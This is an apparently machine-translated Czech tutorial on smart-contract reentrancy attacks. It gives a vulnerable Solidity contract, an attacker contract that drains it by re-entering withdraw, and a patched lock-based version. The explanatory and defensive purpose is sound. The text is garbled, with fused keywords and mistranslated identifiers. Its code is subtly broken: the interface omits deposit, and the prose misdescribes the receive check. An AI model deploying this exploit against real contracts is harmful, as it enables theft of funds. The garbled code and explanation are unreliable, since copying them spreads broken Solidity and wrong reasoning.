Zde je návod, jak probíhá jeden z nejběžnějších hacků chytrých smluv, který stojí společnosti Web 3 miliony...

Některé z největších hacků v blockchainovém průmyslu, kde byly ukradeny tokeny kryptoměn v hodnotě milionů dolarů, byly výsledkem reentrancy útoků. I když jsou tyto hacky v posledních letech méně časté, stále představují významnou hrozbu pro blockchainové aplikace a uživatele.

Takže co přesně jsou reentrancy útoky? Jak jsou nasazeny? A existují nějaká opatření, která mohou vývojáři přijmout, aby jim zabránili?

Co je reentrancy útok?

Reentrancy útok nastane, když zranitelná funkce inteligentní smlouvy provede externí volání na škodlivou smlouvu, čímž se dočasně vzdá kontroly nad tokem transakce. Škodlivá smlouva pak opakovaně volá původní funkci chytré smlouvy, než dokončí provádění, zatímco vyčerpá své prostředky.

Transakce výběru na blockchainu Ethereum má v podstatě třístupňový cyklus: potvrzení zůstatku, převod a aktualizace zůstatku. Pokud kyberzločinec dokáže unést cyklus před aktualizací zůstatku, může opakovaně vybírat prostředky, dokud se peněženka nevyčerpá.

instagram viewer
Kredit obrázku: Etherscan

Jeden z nejznámějších blockchainových hacků, hack Ethereum DAO, jak je pokryto Coindesk, byl reentrancy útok, který vedl ke ztrátě eth v hodnotě přes 60 milionů dolarů a zásadně změnil kurz druhé největší kryptoměny.

Jak funguje reentrancy útok?

Představte si banku ve vašem rodném městě, kde mají ctnostní místní obyvatelé své peníze; jeho celková likvidita je 1 milion USD. Banka má však chybný účetní systém – zaměstnanci čekají na aktualizaci bankovních zůstatků až do večera.

Váš přítel investor navštíví město a objeví účetní chybu. Vytvoří účet a vloží 100 000 $. O den později vybere 100 000 dolarů. Po hodině se znovu pokusí vybrat 100 000 $. Vzhledem k tomu, že banka neaktualizovala jeho zůstatek, je stále 100 000 $. Takže dostane peníze. Dělá to opakovaně, dokud nezůstanou peníze. Zaměstnanci si uvědomí, že nejsou peníze, až když večer bilancují knihy.

V kontextu inteligentní smlouvy probíhá proces takto:

  1. Kyberzločinec identifikuje smart kontrakt „X“ se zranitelností.
  2. Útočník zahájí legitimní transakci do cílového kontraktu X, aby poslal prostředky na škodlivý kontrakt „Y“. Během provádění Y volá zranitelnou funkci v X.
  3. Plnění smlouvy X je pozastaveno nebo zpožděno, protože smlouva čeká na interakci s externí událostí
  4. Zatímco je provádění pozastaveno, útočník opakovaně volá stejnou zranitelnou funkci v X a znovu spouští její provádění tolikrát, kolikrát je to možné.
  5. Při každém opětovném vstupu je stav smlouvy zmanipulován, což útočníkovi umožňuje odčerpat finanční prostředky z X na Y
  6. Jakmile jsou prostředky vyčerpány, reentry se zastaví, zpožděná realizace X se konečně dokončí a stav smlouvy se aktualizuje na základě posledního opětovného vstupu.

Obecně platí, že útočník úspěšně zneužívá zranitelnost reentrancy ve svůj prospěch a ukradne finanční prostředky ze smlouvy.

Příklad reentrancy útoku

Jak přesně tedy může technicky dojít k reentrancy útoku při nasazení? Zde je hypotetická chytrá smlouva s reentrancy bránou. Použijeme axiomatická pojmenování, abychom usnadnili sledování.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

The Zranitelná smlouva umožňuje uživatelům vkládat eth do smlouvy pomocí vklad funkce. Uživatelé pak mohou vybrat své vložené eth pomocí ustoupit funkce. Existuje však zranitelnost při opětovném vstupu ustoupit funkce. Když uživatel odstoupí, smlouva převede požadovanou částku na adresu uživatele před aktualizací zůstatku, což útočníkovi vytvoří příležitost k zneužití.

Nyní se podívejme, jak by vypadala chytrá smlouva útočníka.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Když je útok zahájen:

  1. The Smlouva o útočníkovi bere adresu Zranitelná smlouva ve svém konstruktoru a uloží jej do zranitelnáSmlouva variabilní.
  2. The Záchvat funkci zavolá útočník a vloží nějaké eth do Zranitelná smlouva za použití vklad a poté okamžitě zavolejte ustoupit funkce Zranitelná smlouva.
  3. The ustoupit funkce v Zranitelná smlouva převede požadované množství eth útočníkovi Smlouva o útočníkovi před aktualizací zůstatku, ale protože útočníkův kontrakt je během externího hovoru pozastaven, funkce ještě není dokončena.
  4. The dostávat funkce v Smlouva o útočníkovi se spouští, protože Zranitelná smlouva zasláno eth k této smlouvě během externího hovoru.
  5. Funkce příjmu kontroluje, zda je Smlouva o útočníkovi zůstatek je alespoň 1 ether (částka k výběru), poté znovu vstoupí do Zranitelná smlouva voláním jeho ustoupit znovu fungovat.
  6. Kroky tři až pět opakujte, dokud se Zranitelná smlouva dojdou finanční prostředky a útočníkova smlouva nashromáždí podstatné množství eth.
  7. Nakonec může útočník zavolat vyzvednoutStolenFunds funkce v Smlouva o útočníkovi ukrást všechny prostředky nashromážděné v jejich smlouvě.

Útok může proběhnout velmi rychle v závislosti na výkonu sítě. Při zapojení složitých chytrých kontraktů, jako je DAO Hack, což vedlo k hard forku Etherea Ethereum a Ethereum Classicútok trvá několik hodin.

Jak zabránit reentrancy útoku

Abychom zabránili reentrancy útoku, musíme upravit zranitelnou inteligentní smlouvu tak, aby se řídila osvědčenými postupy pro bezpečný vývoj inteligentních smluv. V tomto případě bychom měli implementovat vzor „checks-effects-interactions“ jako v kódu níže.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

V této pevné verzi jsme zavedli je zamčeno mapování ke sledování, zda je konkrétní účet v procesu výběru. Když uživatel zahájí výběr, smlouva zkontroluje, zda je jeho účet uzamčen (!isLocked[msg.sender]), což znamená, že v současné době neprobíhá žádný jiný výběr ze stejného účtu.

Pokud není účet uzamčen, smlouva pokračuje změnou stavu a externí interakcí. Po změně stavu a externí interakci je účet opět odblokován, což umožňuje budoucí výběry.

Typy reentrancy útoků

Image Credit: Ivan Radic/Flickr

Obecně existují tři hlavní typy reentrancy útoků na základě jejich povahy zneužití.

  1. Jediný reentrancy útok: V tomto případě je zranitelná funkce, kterou útočník opakovaně volá, stejná jako ta, která je náchylná k reentrancy gateway. Výše uvedený útok je příkladem jediného reentrancy útoku, kterému lze snadno zabránit implementací řádných kontrol a uzamčení kódu.
  2. Mezifunkční útok: V tomto scénáři útočník využívá zranitelnou funkci k volání jiné funkce v rámci stejné smlouvy, která sdílí stav se zranitelnou. Druhá funkce, kterou útočník volá, má určitý žádoucí účinek, díky čemuž je atraktivnější pro zneužití. Tento útok je složitější a hůře odhalitelný, takže k jeho zmírnění jsou zapotřebí přísné kontroly a zámky napříč propojenými funkcemi.
  3. Útok zkřížené smlouvy: K tomuto útoku dochází, když externí smlouva interaguje se zranitelnou smlouvou. Během této interakce je stav zranitelné smlouvy volán v externí smlouvě, než je plně aktualizován. Obvykle se to stává, když více smluv sdílí stejnou proměnnou a některé aktualizují sdílenou proměnnou nezabezpečeně. Zabezpečené komunikační protokoly mezi smlouvami a periodickou komunikací audity chytrých smluv musí být implementován ke zmírnění tohoto útoku.

Reentrancy útoky se mohou projevovat v různých formách, a proto vyžadují specifická opatření, aby se každému zabránilo.

Zůstat v bezpečí před reentrancy útoky

Reentrancy útoky způsobily značné finanční ztráty a podkopaly důvěru v blockchainové aplikace. Aby vývojáři chránili smlouvy, musí pečlivě přijmout osvědčené postupy, aby se vyhnuli zranitelnosti při opětovném vstupu.

Měli by také implementovat bezpečné vzory odstoupení od smlouvy, používat důvěryhodné knihovny a provádět důkladné audity, aby dále posílily obranu inteligentní smlouvy. Zůstat informován o vznikajících hrozbách a být proaktivní v úsilí o zabezpečení může zajistit, že budou také podporovat integritu blockchainových ekosystémů.